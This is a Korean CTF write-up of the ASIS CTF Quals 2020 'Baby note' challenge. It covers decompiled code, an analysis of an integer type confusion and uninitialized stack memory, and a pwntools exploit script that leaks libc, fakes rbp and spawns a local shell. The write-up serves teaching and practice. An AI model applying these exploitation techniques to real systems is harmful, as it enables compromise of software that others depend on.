Write-up

[ASIS CTF Quals 2020] Baby note

ch4rli3kop 2020. 7. 12. 18:36
반응형

Baby note

Name : Chanhee Park

Summary : Integer type confusion, Uninitialized stack memory, OOB

$ checksec chall           
[*] '/home/ch4rli3kop/Desktop/asis2020/babynote/chall'
  Arch:     amd64-64-little
  RELRO:   Full RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled

Code Analysis

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
 __int16 v4; // [rsp+Eh] [rbp-2h]

 v4 = readuint("n: ");
 note((unsigned int)v4, (__int64)argv);
 return 0;
}

readuint

__int64 __fastcall readuint(char *a1)
{
 int v2; // [rsp+1Ch] [rbp-24h]
 char nptr; // [rsp+20h] [rbp-20h]
 unsigned __int64 v4; // [rsp+38h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 readline(a1, &nptr, 15);
 v2 = atoi(&nptr);
 if ( v2 < 0 )
   exit(1);
 return (unsigned int)v2;
}

십육진수나 십진수 문자열 입력을 상수로 변환해준다.

note

unsigned __int64 __fastcall note(unsigned __int64 n, __int64 a2)
{
 void *v2; // rsp
 int v3; // eax
 char v5; // [rsp+Fh] [rbp-11h]
 __int64 i; // [rsp+10h] [rbp-10h]
 unsigned __int64 v7; // [rsp+18h] [rbp-8h]

 v7 = __readfsqword(0x28u);
 v2 = alloca(16 * ((8LL * (__int16)n + 0x1E) / 0x10uLL));
 for ( i = 16 * ((unsigned __int64)&v5 >> 4); ; new(i, n) )
{
   while ( 1 )
  {
     while ( 1 )
    {
       v3 = menu();
       if ( v3 != 2 )
         break;
       show(i, n);
    }
     if ( v3 != 3 )
       break;
     delete(i, n);
  }
   if ( v3 != 1 )
     break;
}
 puts("bye!");
 return __readfsqword(0x28u) ^ v7;
}

main에서 입력받은 n 값만큼의 공간을 alloca를 통해 스택 메모리 공간에 할당하고, 해당 공간을 메모리 포인터 배열로 사용한다. new, show, delete 기능이 존재한다.

alloca로 할당한 스택 내의 포인터 배열은 메모리 상에서 calloc을 통해 할당받은 메모리 주소를 저장한 배열로 다음과 같다.

pwndbg> x/30gx 0x7fffffffdbe0
0x7fffffffdbe0: 0x0000555555757260 0x0000555555757290
0x7fffffffdbf0: 0x00005555557572c0 0x00007ffff7de1b49
0x7fffffffdc00: 0x0000000000000001 0x00007ffff7de1c59
0x7fffffffdc10: 0x00007ffff7ffd9f0 0x00007ffff7ffedd0
0x7fffffffdc20: 0x00007ffff7fd9000 0x0000000000000000
pwndbg> x/gx $rbp
0x7fffffffdf30: 0x00007fffffffdf50

new

int __fastcall new(__int64 a1, unsigned __int16 a2)
{
 void *v2; // rax
 void **v3; // rbx
 unsigned __int16 v5; // [rsp+1Ch] [rbp-14h]
 unsigned __int16 v6; // [rsp+1Eh] [rbp-12h]

 v5 = readuint("index: ");
 LODWORD(v2) = v5;
 if ( v5 < a2 )
{
   LODWORD(v2) = readuint("size: ");
   v6 = (unsigned __int16)v2;
   if ( (unsigned __int16)v2 <= 0x40u )
  {
     v3 = (void **)(8LL * v5 + a1);
     *v3 = calloc(1uLL, (unsigned __int16)v2);
     v2 = *v3;
     if ( *v3 )
    {
       readline("data: ", *(char **)(8LL * v5 + a1), v6);
       LODWORD(v2) = puts("[+] created!");
    }
  }
}
 return (int)v2;
}

최초에 입력한 n과 index를 비교하여 oob를 방지한다. 0x40보다 작은 크기의 사이즈를 입력할 경우 calloc을 통해 메모리를 할당해준 뒤, 해당 포인터를 아까 alloca로 할당한 포인터 배열에 저장한다.

show

int __fastcall show(__int64 a1, unsigned __int16 a2)
{
 __int64 v2; // rax
 unsigned __int16 v4; // [rsp+1Eh] [rbp-2h]

 v4 = readuint("index: ");
 LODWORD(v2) = v4;
 if ( v4 < a2 )
{
   v2 = *(_QWORD *)(8LL * v4 + a1);
   if ( v2 )
     LODWORD(v2) = printf("[+] data: %s\n", *(_QWORD *)(8LL * v4 + a1));
}
 return v2;
}

사용자가 입력한 인덱스로 포인터 배열에 접근하여 값을 출력해주는데, 특별히 인덱스에 대한 검증은 없다.

delete

int __fastcall delete(__int64 a1, unsigned __int16 a2)
{
 __int64 v2; // rax
 unsigned __int16 v4; // [rsp+1Eh] [rbp-2h]

 v4 = readuint("index: ");
 LODWORD(v2) = v4;
 if ( v4 < a2 )
{
   v2 = *(_QWORD *)(8LL * v4 + a1);
   if ( v2 )
  {
     free(*(void **)(8LL * v4 + a1));
     *(_QWORD *)(8LL * v4 + a1) = 0LL;
     LODWORD(v2) = puts("[+] deleted!");
  }
}
 return v2;
}

사용자가 입력한 인덱스로 할당했던 메모리 공간을 해제한다.

Exploit

총 두 가지 취약점이 존재하는데, 한가지는 alloca로 스택 메모리를 확장하면서, 내부 공간에 대한 초기화를 진행하지 않아, 쓰레기 값들이 계속 남아있다는 것이다. show()를 통하여 libc나 code 주소를 더블 포인터로 갖고 있는 영역을 참조함으로써 pie와 aslr을 우회할 수 있다.

다음으로는 Integer type confusion이다. new(), show(), delete()에서 사용할 때는 처음 입력한 n의 값을 unsigned int16으로 비교하지만, alloca로 메모리를 할당할 때는 signed int16 값을 사용하기 때문에 type confusion이 발생한다.

이를 이용하여 alloca로 할당한 포인터 배열을 넘어서 메모리 공간 덮어쓰기가 가능한 oob 취약점을 일으킬 수 있기 때문에, 이를 이용하여 rbp 값을 calloc으로 할당한 메모리 공간으로 덮어씌워 fake rbp 공격이 가능하다.

exploit은 다음 단계로 진행된다.

  1. n에 음수 (__int16) 0xffff를 입력한다.

  2. 적당한 더블포인터를 이용하여 libc를 릭한다.

  3. fake stack을 구성한다음 rbp를 해당 메모리 주소로 덮는다.

Payload

#!/usr/bin/python
from pwn import *

#context.log_level = 'debug'
r = process('./chall', env={'LD_PRELOAD':'./libc-2.27.so'})
def new(idx, size, data):
r.sendlineafter('> ', '1')
r.sendlineafter('index: ', str(idx))
r.sendlineafter('size: ', str(size))
r.sendlineafter('data: ', data)

def show(idx):
r.sendlineafter('> ', '2')
r.sendlineafter('index: ', str(idx))
r.recvuntil('data: ')
_leak = u64(r.recv(6).ljust(8, '\x00'))
log.info('leak = ' + hex(_leak))
return _leak

#gdb.attach(r)

r.sendlineafter('n: ', str(0xffff))

_leak = show(28)
_libc = _leak - 0x199e10
success('libc = ' + hex(_libc))

one = [0x4f2c5, 0x4f322, 0x10a38c]
one_shot = _libc + one[2]

new(6, 0x30, p64(one_shot)*2)
r.sendlineafter('> ', '4')

r.interactive()

Result

ch4rli3kop at ubuntu in ~/Desktop/asis2020/babynote
$ python sol_babynote.py
[+] Starting local process './chall': pid 9786
[*] running in new terminal: /usr/bin/gdb -q  "./chall" 9786 -x "/tmp/pwne9xLrC.gdb"
[+] Waiting for debugger: Done
[*] leak = 0x7f7047dd0e10
[+] libc = 0x7f7047c37000
[*] Switching to interactive mode
bye!
$ id
uid=1000(ch4rli3kop) gid=1000(ch4rli3kop) groups=1000(ch4rli3kop),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),999(docker)


반응형

'Write-up' 카테고리의 다른 글

[ASIS CTF Quals 2020] Merry-go-round  (0) 2020.07.12
[ASIS CTF Quals 2020] Full protection  (0) 2020.07.12
Uncrackable 3 write up  (0) 2020.07.10
[Defenit CTF 2020] warmup writeup  (0) 2020.06.14
[bytebandits 2020] baby_rust writeup  (0) 2020.04.14